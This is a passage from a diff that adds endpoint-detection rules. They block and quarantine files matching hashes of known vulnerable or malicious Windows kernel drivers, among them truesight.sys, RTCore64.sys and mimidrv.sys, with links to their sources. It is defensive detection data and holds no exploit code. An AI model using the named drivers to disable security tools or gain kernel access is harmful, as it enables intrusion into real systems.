+  "value": "92ab76ddfafbaaec1e358bdf558ec23ea6d029c81f80d01ddf89a9daed8d564f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "00f58f92-a180-572c-81d4-f5f9420317f0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830528Z",
+  "creation_date": "2026-03-23T11:45:30.830530Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.830536Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9e26f64ae78fe305565876b7c28b543fc086900fb41756c2c21a767d7aa3004e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "00f9d36c-45ee-59c9-982a-1e3a3612b049",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.453548Z",
+  "creation_date": "2026-03-23T11:45:30.453552Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.453561Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fe425d4ea7c8d8bc2e8f32969d058f06a02ab11a0e15e465b989e526be17ca84",
+  "comment": "Vulnerable Kernel Driver (aka nicm.sys) [https://www.loldrivers.io/drivers/86cff0de-2536-4b8d-a846-a7312c569597/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0101d602-6d30-5816-a914-ae5d5464a0db",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155188Z",
+  "creation_date": "2026-03-23T11:45:31.155190Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155196Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f93092156ac39b5ff400cc1378edd5d74a96d0ec01fa2691ad678a49916bbb20",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "01020362-84a7-5ae0-8498-32e1944fbd8d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143936Z",
+  "creation_date": "2026-03-23T11:45:32.143938Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143944Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "765869c7c04b49e77de313806398472ec90dce45206a6d71e448d4e2e499715d",
+  "comment": "Vulnerable Kernel Driver (aka Afd.sys) [https://www.loldrivers.io/drivers/394f49b2-2d78-4d0d-b374-1399695455f3/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0107bfa0-5fac-5b43-bd30-6fc3ef784280",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.497896Z",
+  "creation_date": "2026-03-23T11:45:31.497900Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.497909Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2888b243fe734e4bd33e8bb7f92a39f005653c9bf0defca5d34ff150c6b0cb9c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "010e8b7d-18ae-5abe-a415-c39532ce008a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.808704Z",
+  "creation_date": "2026-03-23T11:45:31.808706Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.808712Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "73383892b9298fe716e2aa02fdf2e7d07169fa297fba3bb6090ec47fa648dae0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "01161d5f-dfb7-5023-abd9-05f8e5b8f517",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.822818Z",
+  "creation_date": "2026-03-23T11:45:30.822820Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.822825Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "39336e2ce105901ab65021d6fdc3932d3d6aab665fe4bd55aa1aa66eb0de32f0",
+  "comment": "Vulnerable Kernel Driver (aka SBIOSIO64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "012cb417-ac19-5fc3-9236-07ed24c46b07",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.823335Z",
+  "creation_date": "2026-03-23T11:45:31.823339Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.823346Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b43a6483567a78f3f1158ca875a3dbcad3edfc024d2ccaeace03fb7be6db449e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "01305fd2-188e-5e40-a33a-4d81a546af35",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619750Z",
+  "creation_date": "2026-03-23T11:45:29.619752Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619757Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ee6bfdf5748fbbf579d6176026626ef39a0673e307c2029f5633e80f0babef54",
+  "comment": "Super Micro Computer dangerous update tool (aka superbmc.sys) [https://www.loldrivers.io/drivers/9074a02a-b1ca-4bfb-8918-5b88e91c04a2/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "01467ec8-c1bd-5919-a5ae-c16772a2fc74",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146013Z",
+  "creation_date": "2026-03-23T11:45:31.146017Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146026Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6c661ccb40bb80b66a8e376aaf8ed638c0860a606195cb3cb5b781b69a942534",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "014b2e74-f1de-525a-a953-c0f445c7db9a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.470727Z",
+  "creation_date": "2026-03-23T11:45:30.470730Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.470739Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "46aac78f7cd865d27189c8308841f12a5512e657be0dd6e8b178aac5223889fe",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0155c3ca-9d4c-5211-90ac-e0fe8711662c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488396Z",
+  "creation_date": "2026-03-23T11:45:31.488398Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488403Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c6c906d3e5e00067ffe1b176bd94dbe8a119435039e3ac3ddfec326fc0956d77",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0157f476-c466-53d7-8670-1e244f9cdd26",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982449Z",
+  "creation_date": "2026-03-23T11:45:29.982451Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982457Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4941c4298f4560fc1e59d0f16f84bab5c060793700b82be2fd7c63735f1657a8",
+  "comment": "Vulnerable Kernel Driver (aka windows7-32.sys) [https://www.loldrivers.io/drivers/b45a3fdf-592a-4cd9-81e2-8fe03d554cad/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "016175ac-e9a7-57b5-a683-9e1053a9bd84",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827595Z",
+  "creation_date": "2026-03-23T11:45:30.827597Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827603Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "54d5c4a62a2eed43d0e680587ec6f8063d1d48908b2ab4562816ffed8f52c263",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "01659f83-3662-5629-be7b-1354117d1314",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.147717Z",
+  "creation_date": "2026-03-23T11:45:31.147718Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.147724Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ec85aa2349c95884af3dfbfc8bfebd40a71963f107d1176b8891fde2b614b310",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0169ef2f-fb28-5bc3-bed7-b2aabb90dd7d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.616569Z",
+  "creation_date": "2026-03-23T11:45:29.616571Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.616577Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "37073e42ffa0322500f90cd7e3c8d02c4cdd695d31c77e81560abec20bfb68ba",
+  "comment": "American Megatrends vulnerable BIOS flash tool (aka UCOREW64.SYS and amifldrv64.sys) [https://www.loldrivers.io/drivers/a338a9fc-9fe3-400c-9fe4-69bb7892602d/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "01733296-4ba1-5d5a-b233-79903da3bdfd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.464939Z",
+  "creation_date": "2026-03-23T11:45:30.464942Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.464957Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "93aa3066ae831cdf81505e1bc5035227dc0e8f06ebbbb777832a17920c6a02fe",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "017447d4-88a2-5447-aa80-d987c13d331a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621333Z",
+  "creation_date": "2026-03-23T11:45:29.621335Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621340Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9dcfd796e244d0687cc35eac9538f209f76c6df12de166f19dbc7d2c47fb16b3",
+  "comment": "Vulnerable Kernel Driver (aka AsIO.sys) [https://www.loldrivers.io/drivers/bd7e78db-6fd0-4694-ac38-dbf5480b60b9/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0179b98d-3214-5d53-87b6-87143663638b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.479974Z",
+  "creation_date": "2026-03-23T11:45:30.479976Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.479981Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e4658d93544f69f5cb9aa6d9fec420fecc8750cb57e1e9798da38c139d44f2eb",
+  "comment": "Vulnerable Kernel Driver (aka AsmIo64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "017c91ba-fe9d-5512-a44e-606373270abc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.146099Z",
+  "creation_date": "2026-03-23T11:45:32.146101Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.146106Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8dbc28fefb8cf9377be55a7c6062988df5a24f0ff475f6dd65cf07fe5173f51d",
+  "comment": "Vulnerable Kernel Driver (aka neofltr.sys) [https://www.loldrivers.io/drivers/c44e6197-efab-49d2-8a5f-04ae4a0f0ea0/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "01878dd6-bfc7-5836-855e-f2beabffc97b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.460125Z",
+  "creation_date": "2026-03-23T11:45:30.460128Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.460136Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dd2c1aa4e14c825f3715891bfa2b6264650a794f366d5f73ed1ef1d79ff0dbf9",
+  "comment": "Vulnerable Kernel Driver (aka RTCore64.sys) [https://www.loldrivers.io/drivers/e32bc3da-4db1-4858-a62c-6fbe4db6afbd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "018df02d-8389-5fa3-b401-d54fdda39937",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.823979Z",
+  "creation_date": "2026-03-23T11:45:31.823982Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.823991Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "090e352c8943316c242e1889f0e7304819d502300a529499a1fb29124ca33646",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0198378f-55b8-5f80-965b-d73b6859e7f4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
